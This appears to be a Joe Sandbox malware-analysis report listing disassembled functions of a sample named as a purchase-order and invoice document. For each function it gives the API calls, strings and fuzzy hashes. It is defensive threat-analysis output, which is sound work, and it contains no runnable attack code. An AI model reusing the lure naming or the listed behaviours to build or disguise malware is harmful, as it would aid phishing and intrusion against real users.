                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: MessageSend$CtrlParent$_wcslen
                                                                                            • String ID: ComboBox$ListBox
                                                                                            • API String ID: 2040099840-1403004172
                                                                                            • Opcode ID: 2e10f5a1695edfae3743bbe69767f09e04e95ab32c83142982b04f1cb5eb07ed
                                                                                            • Instruction ID: 434b10a17d45167e777e8ea6e726dd6ee4e01267e4a119798c8aa60e835c5cdc
                                                                                            • Opcode Fuzzy Hash: 2e10f5a1695edfae3743bbe69767f09e04e95ab32c83142982b04f1cb5eb07ed
                                                                                            • Instruction Fuzzy Hash: CA21D7756002147BD600BB29CC45EBFB39CEB85314F04492FF984A7291EABCEC0A4779
                                                                                            Function 00448DAF Relevance: 15.2, APIs: 10, Instructions: 173windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 004419ED: DeleteObject.GDI32(?), ref: 00441A53
                                                                                            • SendMessageW.USER32(75A923D0,00001001,00000000,00000000), ref: 00448E73
                                                                                            • SendMessageW.USER32(75A923D0,00001026,00000000,00000000), ref: 00448E7E
                                                                                              • Part of subcall function 00441A7A: CreateSolidBrush.GDI32 ref: 00441ACB
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: MessageSend$BrushCreateDeleteObjectSolid
                                                                                            • String ID:
                                                                                            • API String ID: 3771399671-0
                                                                                            • Opcode ID: 51f09a1d655476e15b4ab454a85655f186203ac899921849c361721d54d31972
                                                                                            • Instruction ID: ebbecaf0548398ae771b9aa28ebf0b72f134f9ffbbfb28b2279bd799396bd9e3
                                                                                            • Opcode Fuzzy Hash: 51f09a1d655476e15b4ab454a85655f186203ac899921849c361721d54d31972
                                                                                            • Instruction Fuzzy Hash: F4510930208300AFE2209F25DD85F6F77EAEB85B14F14091EF994E72D0CBB9E9458769
                                                                                            Function 0046ECBF Relevance: 15.1, APIs: 10, Instructions: 101COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: InitVariant$_malloc_wcscpy_wcslen
                                                                                            • String ID:
                                                                                            • API String ID: 3413494760-0
                                                                                            • Opcode ID: afb533e23b19910be0c027df8fa87fd227b592e7e5a0e6e969ae1a59b8da4157
                                                                                            • Instruction ID: 77b59fa0745152fd1b6386ccdd9ca850b9b7f4abb66e551d88b584249de3d357
                                                                                            • Opcode Fuzzy Hash: afb533e23b19910be0c027df8fa87fd227b592e7e5a0e6e969ae1a59b8da4157
                                                                                            • Instruction Fuzzy Hash: F83150B2600746AFC714DF7AC880996FBA8FF88310B44892EE64983641D735F554CBA5
                                                                                            Function 004377B4 Relevance: 15.1, APIs: 10, Instructions: 97threadCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetCurrentThreadId.KERNEL32 ref: 004377D7
                                                                                            • GetForegroundWindow.USER32(00000000,?,?,?,?,0045FDE0,?,?,00000001), ref: 004377EB
                                                                                            • GetWindowThreadProcessId.USER32(00000000), ref: 004377F8
                                                                                            • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,0045FDE0,?,?,00000001), ref: 00437809
                                                                                            • GetWindowThreadProcessId.USER32(?,00000001), ref: 00437819
                                                                                            • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,0045FDE0,?,?,00000001), ref: 0043782E
                                                                                            • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,0045FDE0,?,?,00000001), ref: 0043783D
                                                                                            • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,0045FDE0,?,?,00000001), ref: 0043788D
                                                                                            • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,0045FDE0,?,?,00000001), ref: 004378A1
                                                                                            • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,0045FDE0,?,?,00000001), ref: 004378AC
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Thread$AttachInput$Window$Process$CurrentForeground
                                                                                            • String ID:
                                                                                            • API String ID: 2156557900-0
                                                                                            • Opcode ID: f5203a8e23f024bead7fa0256802a4b49a7a8dce25e7908e04b44143f6d1477f
                                                                                            • Instruction ID: cf5237ead9178137421241ba4763476990ac919c12b5de4495d1c20f4e3090f4
                                                                                            • Opcode Fuzzy Hash: f5203a8e23f024bead7fa0256802a4b49a7a8dce25e7908e04b44143f6d1477f
                                                                                            • Instruction Fuzzy Hash: B0316FB1504341AFD768EF28DC88A7BB7A9EF9D310F14182EF44197250D7B89C44CB69
                                                                                            Function 0045F776 Relevance: 14.4, APIs: 5, Strings: 3, Instructions: 446COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: __wcsicoll
                                                                                            • String ID: 0%d$DOWN$OFF
                                                                                            • API String ID: 3832890014-468733193
                                                                                            • Opcode ID: b886d43e96c57de01ffb669c6ba173cdd7012b944398daffbb17888043fd80c7
                                                                                            • Instruction ID: 3901981f80fa7430cd77b89167089bc3925961a07aad88d0cc2f25a35af8916b
                                                                                            • Opcode Fuzzy Hash: b886d43e96c57de01ffb669c6ba173cdd7012b944398daffbb17888043fd80c7
                                                                                            • Instruction Fuzzy Hash: B7F1D8614083856DEB21EB21C845BAF7BE85F95309F08092FF98212193D7BCD68DC76B
                                                                                            Function 0045E912 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 353timeCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • VariantInit.OLEAUT32(00000000), ref: 0045E959
                                                                                            • VariantCopy.OLEAUT32(00000000), ref: 0045E963
                                                                                            • VariantClear.OLEAUT32 ref: 0045E970
                                                                                            • VariantTimeToSystemTime.OLEAUT32 ref: 0045EAEB
                                                                                            • __swprintf.LIBCMT ref: 0045EB1F
                                                                                            • VarR8FromDec.OLEAUT32(?,?), ref: 0045EB61
                                                                                            • VariantInit.OLEAUT32(00000000), ref: 0045EBE7
                                                                                            Strings
                                                                                            • %4d%02d%02d%02d%02d%02d, xrefs: 0045EB19
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Variant$InitTime$ClearCopyFromSystem__swprintf
                                                                                            • String ID: %4d%02d%02d%02d%02d%02d
                                                                                            • API String ID: 43541914-1568723262
                                                                                            • Opcode ID: 37b26c3e130c1a31af09048bf95897f87bf3bde4777f47a21ee6b10bd43e23e8
                                                                                            • Instruction ID: db8708ae94f177a13b26e6bf0e0b18ed2eb17208bc27bd00c320e315e6f9d40a
                                                                                            • Opcode Fuzzy Hash: 37b26c3e130c1a31af09048bf95897f87bf3bde4777f47a21ee6b10bd43e23e8
                                                                                            • Instruction Fuzzy Hash: ABC1F4BB1006019BC704AF06D480666F7A1FFD4322F14896FED984B341DB3AE95ED7A6
                                                                                            Function 0042FE54 Relevance: 14.3, APIs: 4, Strings: 4, Instructions: 298sleepCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • InterlockedDecrement.KERNEL32(004A7CAC), ref: 0042FE66
                                                                                            • Sleep.KERNEL32(0000000A), ref: 0042FE6E
                                                                                            • InterlockedDecrement.KERNEL32(004A7CAC), ref: 0042FF5D
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: DecrementInterlocked$Sleep
                                                                                            • String ID: 0vH$0vH$4RH0vH$@COM_EVENTOBJ
                                                                                            • API String ID: 2250217261-3412429629
                                                                                            • Opcode ID: 7d20af892ce27232a3ff337619be48fed7d74e1bde2de334c7b49ab88d15dd8c
                                                                                            • Instruction ID: 990b5f35a06538e4ae7b6c94f393f4a5fafaaf51bfa382c75dcb300f2d234fa3
                                                                                            • Opcode Fuzzy Hash: 7d20af892ce27232a3ff337619be48fed7d74e1bde2de334c7b49ab88d15dd8c
                                                                                            • Instruction Fuzzy Hash: E0B1C0715083009FC714EF54C990A5FB3E4AF98304F508A2FF495972A2DB78ED4ACB9A
                                                                                            Function 004689FF Relevance: 14.3, APIs: 2, Strings: 6, Instructions: 288COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
                                                                                            • API String ID: 0-1603158881
                                                                                            • Opcode ID: b68d94a9d6a5d87f13f0fb5a725928f8f142c37ef967d8f11e3e615729381ce2
                                                                                            • Instruction ID: 1d39c91c6ba170ccd8bd44326015c92659356e06a413e753493f98454e3169a0
                                                                                            • Opcode Fuzzy Hash: b68d94a9d6a5d87f13f0fb5a725928f8f142c37ef967d8f11e3e615729381ce2
                                                                                            • Instruction Fuzzy Hash: 49A1D3B14043459BCB20EF50CC81BDE37A4AF94348F44891FF9896B182EF79A64DC76A
                                                                                            Function 00479C97 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 274COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • _memset.LIBCMT ref: 00479D1F
                                                                                            • VariantInit.OLEAUT32(?), ref: 00479F06
                                                                                            • VariantClear.OLEAUT32(?), ref: 00479F11
                                                                                            • VariantInit.OLEAUT32(?), ref: 00479DF7
                                                                                              • Part of subcall function 00467626: VariantInit.OLEAUT32(00000000), ref: 00467666
                                                                                              • Part of subcall function 00467626: VariantCopy.OLEAUT32(00000000,00479BD3), ref: 00467670
                                                                                              • Part of subcall function 00467626: VariantClear.OLEAUT32 ref: 0046767D
                                                                                            • VariantClear.OLEAUT32(?), ref: 00479F9C
                                                                                              • Part of subcall function 004781AE: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000001,00000000,NULL Pointer assignment,00000001), ref: 00478201
                                                                                              • Part of subcall function 004781AE: VariantCopy.OLEAUT32(?,?), ref: 00478259
                                                                                              • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000058,?), ref: 00478270
                                                                                              • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000078,?), ref: 00478287
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Variant$Copy$ClearInit$ErrorLast_memset
                                                                                            • String ID: F$Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
                                                                                            • API String ID: 665237470-60002521
                                                                                            • Opcode ID: d48da594d57f6aadbcc7a695fec4cf75dc39f6aec1ddb07572db38b207896a5c
                                                                                            • Instruction ID: 799f1794578ead7d01377608c22e1fb401aa4fc5ffca8a64c02b8280356d09a3
                                                                                            • Opcode Fuzzy Hash: d48da594d57f6aadbcc7a695fec4cf75dc39f6aec1ddb07572db38b207896a5c
                                                                                            • Instruction Fuzzy Hash: 6091B272204341AFD720DF64D880EABB7E9EFC4314F50891EF28987291D7B9AD45C766
                                                                                            Function 0046A75F Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 179registryCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                            • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046A84D
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: ConnectRegistry_wcslen
                                                                                            • String ID: HH
                                                                                            • API String ID: 535477410-2761332787
                                                                                            • Opcode ID: 95544a26956fe54eb2a8636236a3b10fc217bfdb2bff17811b2f45cb9df4731a
                                                                                            • Instruction ID: 68d8ff7817732ac0dd8275009c421e29eb5870de2046e22f9b94a35ba54c9d9f
                                                                                            • Opcode Fuzzy Hash: 95544a26956fe54eb2a8636236a3b10fc217bfdb2bff17811b2f45cb9df4731a
                                                                                            • Instruction Fuzzy Hash: FE617FB56083009FD304EF65C981F6BB7E4AF88704F14891EF681A7291D678ED09CB97
                                                                                            Function 0045F2C5 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 146windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • _memset.LIBCMT ref: 0045F317
                                                                                            • GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 0045F367
                                                                                            • IsMenu.USER32(?), ref: 0045F380
                                                                                            • CreatePopupMenu.USER32 ref: 0045F3C5
                                                                                            • GetMenuItemCount.USER32(?), ref: 0045F42F
                                                                                            • InsertMenuItemW.USER32(?,?,00000001,?), ref: 0045F45B
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Menu$Item$CountCreateInfoInsertPopup_memset
                                                                                            • String ID: 0$2
                                                                                            • API String ID: 3311875123-3793063076
                                                                                            • Opcode ID: fbdd9a11e44187a4bf70f7de18f8631e861f84fad9f8f26dcc1fb12baf34abbc
                                                                                            • Instruction ID: 6c7ab59355789d00cbd42ef361c1bd9312a1bc9220e92816940967e3bd29aecc
                                                                                            • Opcode Fuzzy Hash: fbdd9a11e44187a4bf70f7de18f8631e861f84fad9f8f26dcc1fb12baf34abbc
                                                                                            • Instruction Fuzzy Hash: E451CF702043409FD710CF69D888B6BBBE4AFA5319F104A3EFD9586292D378994DCB67
                                                                                            Function 0043717F Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 46windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetModuleHandleW.KERNEL32(00000000,004A8E80,00000100,00000100,?,C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exe), ref: 0043719E
                                                                                            • LoadStringW.USER32(00000000), ref: 004371A7
                                                                                            • GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 004371BD
                                                                                            • LoadStringW.USER32(00000000), ref: 004371C0
                                                                                            • _printf.LIBCMT ref: 004371EC
                                                                                            • MessageBoxW.USER32(00000000,?,?,00011010), ref: 00437208
                                                                                            Strings
                                                                                            • %s (%d) : ==> %s: %s %s, xrefs: 004371E7
                                                                                            • C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exe, xrefs: 00437189
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: HandleLoadModuleString$Message_printf
                                                                                            • String ID: %s (%d) : ==> %s: %s %s$C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exe
                                                                                            • API String ID: 220974073-3385412541
                                                                                            • Opcode ID: 94d1ddb87e9fdddd1f0eb85761e890ae026325719f266e56d7856026e6b64315
                                                                                            • Instruction ID: cc9e6972dbc5209964c20f0f7d1f7455a13934f6c555fd98bc0bf92a0502fb90
                                                                                            • Opcode Fuzzy Hash: 94d1ddb87e9fdddd1f0eb85761e890ae026325719f266e56d7856026e6b64315
                                                                                            • Instruction Fuzzy Hash: F7014FB2A543447AE620EB549D06FFB365CABC4B01F444C1EB794A60C0AAF865548BBA
                                                                                            Function 00456168 Relevance: 13.7, APIs: 9, Instructions: 181COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: b00adbc1ea9d53563bb8a7982d93c3fa4b8356126e06b3aad1cc727703ca6f1a
                                                                                            • Instruction ID: 20732dcab93056f759d0b04a6df1a57780e33876730225f1fefd21ccf2a16f59
                                                                                            • Opcode Fuzzy Hash: b00adbc1ea9d53563bb8a7982d93c3fa4b8356126e06b3aad1cc727703ca6f1a
                                                                                            • Instruction Fuzzy Hash: 36519070200301ABD320DF29CC85F5BB7E8EB48715F540A1EF995E7292D7B4E949CB29
                                                                                            Function 004534EB Relevance: 13.6, APIs: 9, Instructions: 150filestringCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 0040FFB0: GetFullPathNameW.KERNEL32(00000000,00000104,C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exe,?,C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exe,004A8E80,C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exe,0040F3D2), ref: 0040FFCA
                                                                                              • Part of subcall function 00436AC4: GetFileAttributesW.KERNEL32(?,0044BD82,?,?,?), ref: 00436AC9
                                                                                            • lstrcmpiW.KERNEL32(?,?), ref: 0045355E
                                                                                            • MoveFileW.KERNEL32(?,?), ref: 0045358E
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: File$AttributesFullMoveNamePathlstrcmpi
                                                                                            • String ID:
                                                                                            • API String ID: 978794511-0
                                                                                            • Opcode ID: 905b41a6b5f1f1e7811aa1c06e555ad1605d40905c9a381d53b63ac73f12040d
                                                                                            • Instruction ID: dcad70f49e32ae1adaf0c812d378eb0bba467e0a617048934f4a65f03e3a0b24
                                                                                            • Opcode Fuzzy Hash: 905b41a6b5f1f1e7811aa1c06e555ad1605d40905c9a381d53b63ac73f12040d
                                                                                            • Instruction Fuzzy Hash: 665162B25043406AC724EF61D885ADFB3E8AFC8305F44992EB94992151E73DD34DC767
                                                                                            Function 004417BC Relevance: 13.6, APIs: 9, Instructions: 142COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 2697ea5a26a9fc7488a3d070abad83f7d669ddccf749f4bfc66ff3ac1f4b4023
                                                                                            • Instruction ID: b1e2397247e50d0c7000acf5a2db8631a214b417b603bec0598d849dd48054e0
                                                                                            • Opcode Fuzzy Hash: 2697ea5a26a9fc7488a3d070abad83f7d669ddccf749f4bfc66ff3ac1f4b4023
